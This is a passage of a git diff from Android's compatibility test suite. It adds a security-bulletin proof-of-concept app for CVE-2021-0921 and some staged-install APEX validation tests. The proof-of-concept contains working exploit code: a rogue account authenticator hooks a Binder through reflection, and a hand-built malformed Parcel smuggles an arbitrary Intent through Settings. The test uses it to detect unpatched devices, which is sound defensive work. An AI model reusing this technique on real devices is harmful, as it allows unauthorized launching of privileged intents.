+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+    android:targetPackage="android.security.cts.CVE_2021_0921" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml
new file mode 100644
index 0000000..09d024c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:text="CVE-2021-0921"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml
new file mode 100644
index 0000000..69b2233
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/colors.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="colorPrimary">#008577</color>
+    <color name="colorPrimaryDark">#00574B</color>
+    <color name="colorAccent">#D81B60</color>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml
new file mode 100644
index 0000000..1a689a5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/strings.xml
@@ -0,0 +1,3 @@
+<resources>
+    <string name="app_name">AnyIntentPoc</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml
new file mode 100644
index 0000000..5885930
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/values/styles.xml
@@ -0,0 +1,11 @@
+<resources>
+
+    <!-- Base application theme. -->
+    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
+        <!-- Customize your theme here. -->
+        <item name="colorPrimary">@color/colorPrimary</item>
+        <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
+        <item name="colorAccent">@color/colorAccent</item>
+    </style>
+
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml
new file mode 100644
index 0000000..46194d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="@string/app_name"/>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java
new file mode 100644
index 0000000..4d4ad98
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Authenticator.java
@@ -0,0 +1,157 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.IInterface;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.FileDescriptor;
+import java.lang.reflect.Field;
+
+public class Authenticator extends AbstractAccountAuthenticator {
+    public static Intent mIntent;
+    private int TRANSACTION_onResult;
+    private IBinder mOriginRemote;
+    private static final String TAG = "TAG_2021_0921.Authenticator";
+    private IBinder mProxyRemote = new IBinder() {
+        @Override
+        public String getInterfaceDescriptor() throws RemoteException {
+            return null;
+        }
+
+        @Override
+        public boolean pingBinder() {
+            return false;
+        }
+
+        @Override
+        public boolean isBinderAlive() {
+            return false;
+        }
+
+        @Override
+        public IInterface queryLocalInterface(String descriptor) {
+            return null;
+        }
+
+        @Override
+        public void dump(FileDescriptor fd, String[] args) throws RemoteException {
+        }
+
+        @Override
+        public void dumpAsync(FileDescriptor fd, String[] args) throws RemoteException {
+        }
+
+        @Override
+        public boolean transact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
+            Log.d(TAG, "transact() start");
+            if (code == TRANSACTION_onResult) {
+                Log.d(TAG, "transact() before parse");
+                data.recycle();
+                data = GenMalformedParcel.parsingPackageImplParcel(mIntent);
+                Log.d(TAG, "transact() end parse");
+            }
+            Log.d(TAG, "transact() continue");
+            mOriginRemote.transact(code, data, reply, flags);
+            Log.d(TAG, "transact() end");
+            return true;
+        }
+
+        @Override
+        public void linkToDeath(DeathRecipient recipient, int flags) throws RemoteException {
+        }
+
+        @Override
+        public boolean unlinkToDeath(DeathRecipient recipient, int flags) {
+            return false;
+        }
+    };
+
+    public Authenticator(Context context) {
+        super(context);
+        Log.d(TAG, "Authenticator() constructor");
+    }
+
+    @Override
+    public String getAuthTokenLabel(String authTokenType) {
+        return null;
+    }
+
+    @Override
+    public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
+        return null;
+    }
+
+    @Override
+    public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
+                               String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
+                             String authTokenType, String[] requiredFeatures, Bundle options) {
+
+        Log.d(TAG, "addAccount() start");
+        try {
+            Class AccountAuthenticatorResponseClass = Class.forName("android.accounts.AccountAuthenticatorResponse");
+            @SuppressLint("SoonBlockedPrivateApi")
+            Field mAccountAuthenticatorResponseField = AccountAuthenticatorResponseClass.getDeclaredField("mAccountAuthenticatorResponse");
+            mAccountAuthenticatorResponseField.setAccessible(true);
+            Object mAccountAuthenticatorResponse = mAccountAuthenticatorResponseField.get(response);
+
+            Class stubClass = null;
+            for (Class inner : Class.forName("android.accounts.IAccountAuthenticatorResponse").getDeclaredClasses()) {
+                if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub")) {
+                    stubClass = inner;
+                    break;
+                }
+            }
+
+            Field TRANSACTION_onResultField = stubClass.getDeclaredField("TRANSACTION_onResult");
+            TRANSACTION_onResultField.setAccessible(true);
+            TRANSACTION_onResult = TRANSACTION_onResultField.getInt(null);
+
+            Class proxyClass = null;
+            for (Class inner : stubClass.getDeclaredClasses()) {
+                if (inner.getCanonicalName().equals("android.accounts.IAccountAuthenticatorResponse.Stub.Proxy")) {
+                    proxyClass = inner;
+                    break;
+                }
+            }
+
+            Field mRemoteField = proxyClass.getDeclaredField("mRemote");
+            mRemoteField.setAccessible(true);
+            mOriginRemote = (IBinder) mRemoteField.get(mAccountAuthenticatorResponse);
+            mRemoteField.set(mAccountAuthenticatorResponse, mProxyRemote);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Log.d(TAG, "addAccount() end");
+
+        return new Bundle();
+    }
+
+    @Override
+    public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account, String authTokenType, Bundle options) {
+        return null;
+    }
+
+    @Override
+    public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account, String[] features) {
+        return null;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java
new file mode 100644
index 0000000..41e30eb
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorActivity.java
@@ -0,0 +1,31 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.Context;
+import android.app.Activity;
+import android.os.Build;
+import android.os.Bundle;
+import android.util.Log;
+
+public class AuthenticatorActivity extends Activity {
+
+    private static final String TAG = "TAG_2021_0921.AuthenticatorActivity";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG, "onCreate() start");
+        setContentView(R.layout.activity_main);
+        new Trigger(AuthenticatorActivity.this).accountSettings();
+        Log.d(TAG, "onCreate() end");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        this.finish();
+    }
+}
+
+
+
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java
new file mode 100644
index 0000000..9170562
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/AuthenticatorService.java
@@ -0,0 +1,15 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class AuthenticatorService extends Service {
+    public AuthenticatorService() {
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new Authenticator(this).getIBinder();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
new file mode 100644
index 0000000..bb6631a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/DeviceTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0921;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+  private static final String TAG = "TAG_2021_0921.DeviceTest";
+  private UiDevice mDevice;
+
+  @Test
+  public void test() {
+    Log.d(TAG, "test() start");
+
+    //set mDevice and go to homescreen
+    mDevice = UiDevice.getInstance(getInstrumentation());
+    mDevice.pressHome();
+    Context context = getApplicationContext();
+    String TEST_PACKAGE = "android.security.cts.CVE_2021_0921";
+    PackageManager packageManager = context.getPackageManager();
+
+    //start poc app
+    Intent intent = packageManager.getLaunchIntentForPackage(TEST_PACKAGE);
+    intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    context.startActivity(intent);
+
+    //wait for poc app to complete (it takes about 6 seconds)
+    SystemClock.sleep(20000);
+
+    Log.d(TAG, "test() end");
+  }
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java
new file mode 100644
index 0000000..5d337e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/GenMalformedParcel.java
@@ -0,0 +1,210 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.accounts.AccountManager;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.util.Log;
+
+public class GenMalformedParcel {
+
+    private static final String TAG = "TAG_2021_0921.GenMalformedParcel";
+
+    public static Parcel parsingPackageImplParcel(Intent intent) {
+        Log.d(TAG, "parsingPackageImplParcel() start");
+
+        Parcel data = Parcel.obtain();
+        data.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse");
+        data.writeInt(1);
+        int bundleLenPos = data.dataPosition();
+        data.writeInt(0);
+        data.writeInt(0x4C444E42);
+        int bundleStartPos = data.dataPosition();
+        data.writeInt(3);
+
+        data.writeString("key1");
+        data.writeInt(4);
+        data.writeString("android.content.pm.parsing.ParsingPackageImpl");
+
+        data.writeInt(0); // supportsSmallScreens
+        data.writeInt(0); // supportsNormalScreens
+        data.writeInt(0); // supportsLargeScreens
+        data.writeInt(0); // supportsExtraLargeScreens
+        data.writeInt(0); // resizeable
+        data.writeInt(0); // anyDensity
+        data.writeInt(0); // versionCode
+        data.writeInt(0); // versionCodeMajor
+        data.writeInt(0); // baseRevisionCode
+        data.writeString("versionName"); // versionName
+        data.writeInt(0); // compileSdkVersion
+        data.writeString("compileSdkVersionCodeName"); // compileSdkVersionCodeName
+        data.writeString("packageName"); // packageName
+        data.writeString("realPackage"); // realPackage
+        data.writeString("baseCodePath"); // baseCodePath
+        data.writeBoolean(false); // requiredForAllUsers
+        data.writeString("restrictedAccountType"); // restrictedAccountType
+        data.writeString("requiredAccountType"); // requiredAccountType
+        data.writeString("overlayTarget"); // overlayTarget
+        data.writeString("overlayTargetName"); // overlayTargetName
+        data.writeString("overlayCategory"); // overlayCategory
+        data.writeInt(0); // overlayPriority
+        data.writeBoolean(false); // overlayIsStatic
+        data.writeInt(0); // overlayables
+        data.writeString("staticSharedLibName"); // staticSharedLibName
+        data.writeLong(0); // staticSharedLibVersion
+        data.writeInt(0); // libraryNames
+        data.writeInt(0); // usesLibraries
+        data.writeInt(0); // usesOptionalLibraries
+        data.writeInt(0); // usesStaticLibraries
+        data.writeInt(0); // usesStaticLibrariesVersions
+        data.writeInt(0); // digestsSize
+        data.writeString("sharedUserId"); // sharedUserId
+        data.writeInt(0); // sharedUserLabel
+        data.writeInt(0); // configPreferences
+        data.writeInt(0); // reqFeatures
+        data.writeInt(0); // featureGroups
+        data.writeInt(0); // restrictUpdateHash
+        data.writeInt(0); // originalPackages
+        data.writeInt(0); // adoptPermissions
+        data.writeInt(0); // requestedPermissions
+        data.writeInt(0); // implicitPermissions
+        data.writeInt(0); // upgradeKeySets
+        data.writeInt(0); // keySetMapping
+        data.writeInt(0); // protectedBroadcasts
+        data.writeInt(0); // activities
+        data.writeInt(0); // receivers
+        data.writeInt(0); // services
+        data.writeInt(0); // providers
+        data.writeInt(0); // attributions
+        data.writeInt(0); // permissions
+        data.writeInt(0); // permissionGroups
+        data.writeInt(0); // instrumentations
+        data.writeInt(0); // preferredActivityFilters
+        data.writeInt(0); // processes
+        data.writeInt(0); // metaData
+        data.writeString("volumeUuid"); // volumeUuid
+        data.writeInt(-1); // signingDetails
+        data.writeString("codePath"); // codePath
+        data.writeBoolean(false); // use32BitAbi
+        data.writeBoolean(false); // visibleToInstantApps
+        data.writeBoolean(false); // forceQueryable
+
+        data.writeInt(1); // queriesIntents
+        data.writeInt(0); // queriesIntents
+
+        data.writeInt(0); // queriesPackages
+        data.writeInt(0); // queriesProviders
+        data.writeString(""); // appComponentFactory
+        data.writeString(""); // backupAgentName
+        data.writeInt(-1); // banner
+        data.writeInt(0); // category
+        data.writeString(""); // classLoaderName
+        data.writeString("className"); // className
+        data.writeInt(-1); // compatibleWidthLimitDp
+        data.writeInt(0); // descriptionRes
+        data.writeBoolean(false); // enabled
+        data.writeBoolean(false); // crossProfile
+        data.writeInt(0); // fullBackupContent
+        data.writeInt(0); // iconRes
+        data.writeInt(0); // installLocation
+
+        data.writeInt(0); // labelRes -> queriesPackages
+        data.writeInt(0); // largestWidthLimitDp -> queriesProviders
+        data.writeInt(-1); // logo -> appComponentFactory
+        data.writeString("manageSpaceActivityName"); // manageSpaceActivityName -> backupAgentName
+        data.writeFloat(0); // maxAspectRatio -> banner
+        data.writeFloat(0); // minAspectRatio -> category
+        data.writeInt(-1); // minSdkVersion -> classLoaderName
+        data.writeInt(-1); // networkSecurityConfigRes -> className
+        data.writeInt(1); // nonLocalizedLabel -> compatibleWidthLimitDp
+        data.writeInt(-1); // nonLocalizedLabel -> descriptionRes
+        data.writeInt(-1); // permission -> enabled
+        data.writeInt(-1); // processName -> crossProfile
+        data.writeInt(0); // requiresSmallestWidthDp -> fullBackupContent
+        data.writeInt(0); // roundIconRes -> iconRes
+        data.writeInt(0); // targetSandboxVersion -> installLocation
+        data.writeInt(0); // targetSdkVersion -> labelRes
+        data.writeInt(-1); // taskAffinity -> largestWidthLimitDp
+        data.writeInt(0); // theme -> logo
+        data.writeInt(-1); // uiOptions -> manageSpaceActivityName
+        data.writeInt(-1);  // zygotePreloadName -> maxAspectRatio
+        data.writeInt(0); // splitClassLoaderNames -> minAspectRatio
+        data.writeInt(0); // splitCodePaths -> minSdkVersion
+        data.writeInt(0); // splitDependencies -> networkSecurityConfigRes
+        data.writeInt(0); // splitFlags -> nonLocalizedLabel
+        data.writeInt(-1); // splitNames -> nonLocalizedLabel
+        data.writeInt(-1); // splitRevisionCodes -> permission
+        data.writeBoolean(false); // externalStorage -> processName
+        data.writeBoolean(false); // baseHardwareAccelerated -> processName
+        data.writeBoolean(true); // allowBackup -> requiresSmallestWidthDp
+        data.writeBoolean(false); // killAfterRestore -> roundIconRes
+        data.writeBoolean(false); // restoreAnyVersion -> targetSandboxVersion
+        data.writeBoolean(false); // fullBackupOnly -> targetSdkVersion
+        data.writeBoolean(false); // persistent -> taskAffinity
+        data.writeBoolean(false); // debuggable -> taskAffinity
+        data.writeBoolean(false); // vmSafeMode -> theme
+        data.writeBoolean(false); // hasCode -> uiOptions
+        data.writeBoolean(false); // allowTaskReparenting -> zygotePreloadName
+        data.writeBoolean(false); // allowClearUserData -> zygotePreloadName
+        data.writeBoolean(false); // largeHeap -> splitClassLoaderNames
+        data.writeBoolean(false); // usesCleartextTraffic -> splitCodePaths
+        data.writeBoolean(false); // supportsRtl -> splitDependencies
+        data.writeBoolean(false); // testOnly -> splitFlags
+        data.writeBoolean(false); // multiArch -> splitNames
+        data.writeBoolean(false); // extractNativeLibs -> splitRevisionCodes
+        data.writeBoolean(false); // game -> externalStorage
+        data.writeBoolean(false); // resizeableActivity -> baseHardwareAccelerated
+        data.writeBoolean(false); // staticSharedLibrary -> allowBackup
+        data.writeBoolean(false); // overlay -> killAfterRestore
+        data.writeBoolean(false); // isolatedSplitLoading -> restoreAnyVersion
+        data.writeBoolean(false); // hasDomainUrls -> fullBackupOnly
+        data.writeBoolean(false); // profileableByShell -> persistent
+        data.writeBoolean(false); // backupInForeground -> debuggable
+        data.writeBoolean(false); // useEmbeddedDex -> vmSafeMode
+        data.writeBoolean(false); // defaultToDeviceProtectedStorage -> hasCode
+        data.writeBoolean(false); // directBootAware -> allowTaskReparenting
+        data.writeBoolean(false); // partiallyDirectBootAware -> allowClearUserData
+        data.writeBoolean(false); // resizeableActivityViaSdkVersion -> largeHeap
+        data.writeBoolean(false); // allowClearUserDataOnFailedRestore -> usesCleartextTraffic
+        data.writeBoolean(false); // allowAudioPlaybackCapture -> supportsRtl
+        data.writeBoolean(false); // requestLegacyExternalStorage -> testOnly
+        data.writeBoolean(false); // usesNonSdkApi -> multiArch
+        data.writeBoolean(false); // hasFragileUserData -> extractNativeLibs
+        data.writeBoolean(false); // cantSaveState -> game
+        data.writeBoolean(false); // allowNativeHeapPointerTagging -> resizeableActivity
+        data.writeInt(0); // autoRevokePermissions -> staticSharedLibrary
+        data.writeBoolean(false); // preserveLegacyExternalStorage -> overlay
+        data.writeInt(0); // mimeGroups -> isolatedSplitLoading
+        data.writeInt(0); // gwpAsanMode -> hasDomainUrls
+        data.writeInt(0); // minExtensionVersions -> profileableByShell
+
+        data.writeString("key2");
+        data.writeInt(-1);
+
+        data.writeString("key3");
+        data.writeInt(13);
+        int byteArrayLenPos = data.dataPosition();
+        data.writeInt(0);
+        int byteArrayStartPos = data.dataPosition();
+        for (int i = 0; i < 7; i++) {
+            data.writeInt(0);
+        }
+        data.writeString(AccountManager.KEY_INTENT);
+        data.writeInt(4);
+        data.writeString("android.content.Intent");
+        intent.writeToParcel(data, 0);
+        int byteArrayEndPos = data.dataPosition();
+        data.setDataPosition(byteArrayLenPos);
+        int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+        data.writeInt(byteArrayLen);
+        data.setDataPosition(byteArrayEndPos);
+        int bundleEndPos = data.dataPosition();
+        data.setDataPosition(bundleLenPos);
+        int bundleLen = bundleEndPos - bundleStartPos;
+        data.writeInt(bundleLen);
+        data.setDataPosition(bundleEndPos);
+        Log.d(TAG, "parsingPackageImplParcel() end");
+        return data;
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java
new file mode 100644
index 0000000..5fe3acf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/TestActivity.java
@@ -0,0 +1,23 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.Context;
+import android.app.Activity;
+
+import android.os.Bundle;
+import android.util.Log;
+import org.junit.Assert;
+
+public class TestActivity extends Activity {
+    private static final String TAG = "TAG_2021_0921.TestActivity";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.d(TAG, "onCreate() start");
+        Assert.fail("Arbitrary intent executed. Device is vulnerable.");
+    }
+}
+
+
+
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
new file mode 100644
index 0000000..987b161
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/src/android/security/cts/CVE_2021_0921/Trigger.java
@@ -0,0 +1,41 @@
+package android.security.cts.CVE_2021_0921;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.net.Uri;
+import android.util.Log;
+
+import java.io.File;
+
+public class Trigger {
+    private static final String TAG = "TAG_2021_0921.Triggger";
+    private Context mContext;
+
+    public Trigger(Context context) {
+        mContext = context;
+    }
+
+    public void accountSettings() {
+        Log.d(TAG, "accountSettings() start");
+
+        //replaces intent.setAction(Intent.ACTION_REBOOT) in original Poc
+        Intent arbitraryIntent = new Intent(mContext, TestActivity.class);
+
+        //Patched device is not supposed to process that intent
+        Authenticator.mIntent = arbitraryIntent;
+
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(
+                "com.android.settings",
+                "com.android.settings.accounts.AddAccountSettings"));
+        intent.setAction(Intent.ACTION_RUN);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        String authTypes[] = {"android.security.cts"};
+
+        intent.putExtra("account_types", authTypes);
+        mContext.startActivity(intent);
+        Log.d(TAG, "accountSettings() end");
+    }
+}
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 39618ff..2bab456 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -70,6 +70,8 @@
         ":StagedInstallTestApexV2_NoApkSignature",
         ":StagedInstallTestApexV2_UnsignedPayload",
         ":StagedInstallTestApexV2_SignPayloadWithDifferentKey",
+        ":StagedInstallTestApexV2_Rebootless",
+        ":StagedInstallTestApexV3_Rebootless",
     ],
     static_libs: [
         "androidx.test.runner",
@@ -559,6 +561,46 @@
   installable: false,
 }
 
+prebuilt_apex {
+  name: "StagedInstallTestApexV2_Rebootless",
+  arch: {
+        arm: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        arm64: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        x86: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+        x86_64: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v2_rebootless.apex",
+        },
+    },
+  filename: "com.android.apex.cts.shim.v2_rebootless.apex",
+  installable: false,
+}
+
+prebuilt_apex {
+  name: "StagedInstallTestApexV3_Rebootless",
+  arch: {
+        arm: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        arm64: {
+              src: "testdata/apex/arm/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        x86: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+        x86_64: {
+              src: "testdata/apex/x86/com.android.apex.cts.shim.v3_rebootless.apex",
+        },
+    },
+  filename: "com.android.apex.cts.shim.v3_rebootless.apex",
+  installable: false,
+}
+
 // collects deapexer and its dependency modules (libc++ and debugfs_static) to the zip file.
 genrule {
   name: "deapexer.zip",
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index f8eabdb..712c563 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -105,6 +105,64 @@
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
+    @Test
+    public void testRejectsApexWithAdditionalFile_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_additional_file.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "is an unexpected file inside the shim apex",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_additional_folder.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "is an unexpected file inside the shim apex",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithPostInstallHook_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_with_post_install_hook.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Shim apex is not allowed to have pre or post install hooks",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWithPreInstallHook_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_with_pre_install_hook.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Shim apex is not allowed to have pre or post install hooks",
+                Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRejectsApexWrongSHA_rebootless() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        TestApp apex = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, "com.android.apex.cts.shim.v2_wrong_sha.apex");
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class, "has unexpected SHA512 hash", Install.single(apex));
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
